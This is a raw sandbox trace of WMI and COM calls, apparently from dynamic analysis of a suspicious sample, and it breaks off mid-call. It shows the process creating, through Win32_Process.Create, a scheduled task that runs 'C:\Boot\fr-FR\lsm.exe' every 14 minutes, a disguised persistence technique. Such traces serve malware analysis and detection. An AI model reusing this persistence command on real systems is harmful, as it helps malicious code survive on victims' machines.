WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02fb70, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02fb70, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0082.838] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02fc30, uIndex=0x0, pszName="root") returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02fb70, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02fb70, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0082.838] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02fc30, uIndex=0x1, pszName="cimv2") returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02fb70, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02fb70, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02fc30, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02fc30, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02fc30, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0302f0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0302f0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fc30, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fc30, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fc30, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fc30, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0082.838] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fc30, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0082.839] IWbemServices:GetObject (in: This=0x1c040110, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1c02a200, ppCallResult=0x0) returned 0x0 [0082.862] IWbemClassObject:GetMethod (in: This=0x1c02a200, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1c02a570, ppOutSignature=0x1b2fd9e0*=0x1c028310) returned 0x0 [0082.862] IWbemClassObject:SpawnInstance (in: This=0x1c02a570, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf43870) returned 0x0 [0082.863] IWbemClassObject:Get (in: This=0x1bf43870, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fe598*=0, plFlavor=0x28fe59c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fe598*=8, plFlavor=0x28fe59c*=32) returned 0x0 [0082.863] IWbemClassObject:Get (in: This=0x1bf43870, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fe598*=8, plFlavor=0x28fe59c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fe598*=8, plFlavor=0x28fe59c*=32) returned 0x0 [0082.863] IWbemClassObject:Put (This=0x1bf43870, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"lsml\" /sc MINUTE /mo 14 /tr \"'C:\\Boot\\fr-FR\\lsm.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0082.863] IWbemClassObject:Get (in: This=0x1bf43870, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fe628*=0, plFlavor=0x28fe62c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fe628*=13, plFlavor=0x28fe62c*=32) returned 0x0 [0082.863] IWbemClassObject:Get (in: This=0x1bf43870, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fe628*=13, plFlavor=0x28fe62c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fe628*=13, plFlavor=0x28fe62c*=32) returned 0x0 [0082.864] IUnknown:QueryInterface (in: This=0x1c02ba10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1c02ba10) returned 0x0 [0082.864] IUnknown:QueryInterface (in: This=0x1c02ba10, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0082.864] IUnknown:QueryInterface (in: This=0x1c02ba10, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0082.864] IUnknown:AddRef (This=0x1c02ba10) returned 0x3 [0082.864] IUnknown:QueryInterface (in: This=0x1c02ba10, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0082.864] IUnknown:QueryInterface (in: This=0x1c02ba10, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0082.864] IUnknown:QueryInterface (in: This=0x1c02ba10, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1c02ba18) returned 0x0 [0082.864] IMarshal:GetUnmarshalClass (in: This=0x1c02ba18, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0082.864] IUnknown:Release (This=0x1c02ba18) returned 0x3 [0082.864] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0082.864] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0082.864] IUnknown:QueryInterface (in: This=0x1c02ba10, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0082.865] IUnknown:Release (This=0x1c02ba10) returned 0x2 [0082.865] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0082.865] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0082.865] IUnknown:QueryInterface (in: This=0x1c02ba10, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0082.865] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0082.865] IUnknown:QueryInterface (in: This=0x1c02ba10, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0082.865] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0082.865] IUnknown:AddRef (This=0x1c02ba10) returned 0x3 [0082.865] IWbemClassObject:Put (This=0x1bf43870, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c02ba10, varVal2=0x0), Type=0) returned 0x0 [0082.865] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0300b0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0082.865] WbemDefPath:IWbemPath:GetText (in: This=0x1c0300b0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0082.865] WbemDefPath:IWbemPath:GetText (in: This=0x1c0300b0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0082.865] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0302f0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0082.865] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0082.865] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0082.865] WbemDefPath:IWbemPath:GetText (in: This=0x1c0300b0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0082.865] WbemDefPath:IWbemPath:GetText (in: This=0x1c0300b0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0082.866] IWbemServices:ExecMethod (in: This=0x1c040110, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf43870, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf43b20, ppCallResult=0x0) returned 0x0 [0083.057] IWbemClassObject:Get (in: This=0x1bf43b20, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fe940*=0, plFlavor=0x28fe944*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd08, varVal2=0x0), pType=0x28fe940*=19, plFlavor=0x28fe944*=0) returned 0x0 [0083.057] IWbemClassObject:Get (in: This=0x1bf43b20, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28fe940*=19, plFlavor=0x28fe944*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd08, varVal2=0x0), pType=0x28fe940*=19, plFlavor=0x28fe944*=0) returned 0x0 [0083.058] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0083.058] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0083.058] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0083.058] IUnknown:Release (This=0x111f638) returned 0x1 [0083.061] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c053b10) returned 0x0 [0083.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c053b10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0083.061] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c053b10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c02f9f0) returned 0x0 [0083.061] WbemDefPath:IUnknown:Release (This=0x1c053b10) returned 0x0 [0083.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c02f9f0) returned 0x0 [0083.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0083.062] WbemDefPath:IUnknown:AddRef (This=0x1c02f9f0) returned 0x3 [0083.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0083.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0083.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c053b50) returned 0x0 [0083.062] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c053b50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.062] WbemDefPath:IUnknown:Release (This=0x1c053b50) returned 0x3 [0083.062] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0083.062] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0083.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0083.062] WbemDefPath:IUnknown:Release (This=0x1c02f9f0) returned 0x2 [0083.062] WbemDefPath:IUnknown:Release (This=0x1c02f9f0) returned 0x1 [0083.062] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0083.062] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0083.062] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c02f9f0) returned 0x0 [0083.062] WbemDefPath:IUnknown:AddRef (This=0x1c02f9f0) returned 0x3 [0083.062] WbemDefPath:IUnknown:Release (This=0x1c02f9f0) returned 0x2 [0083.062] WbemDefPath:IWbemPath:SetText (This=0x1c02f9f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0083.063] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f9f0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0083.063] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f9f0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0083.063] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f9f0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0083.063] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f9f0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0083.063] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f9f0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0083.063] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02f9f0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0083.063] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0083.063] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0083.063] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0083.063] IUnknown:Release (This=0x111f638) returned 0x1 [0083.065] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c054b30) returned 0x0 [0083.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c054b30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0083.066] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c054b30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c02f930) returned 0x0 [0083.066] WbemDefPath:IUnknown:Release (This=0x1c054b30) returned 0x0 [0083.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c02f930) returned 0x0 [0083.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0083.066] WbemDefPath:IUnknown:AddRef (This=0x1c02f930) returned 0x3 [0083.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0083.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0083.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f930, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c053db0) returned 0x0 [0083.066] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c053db0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, 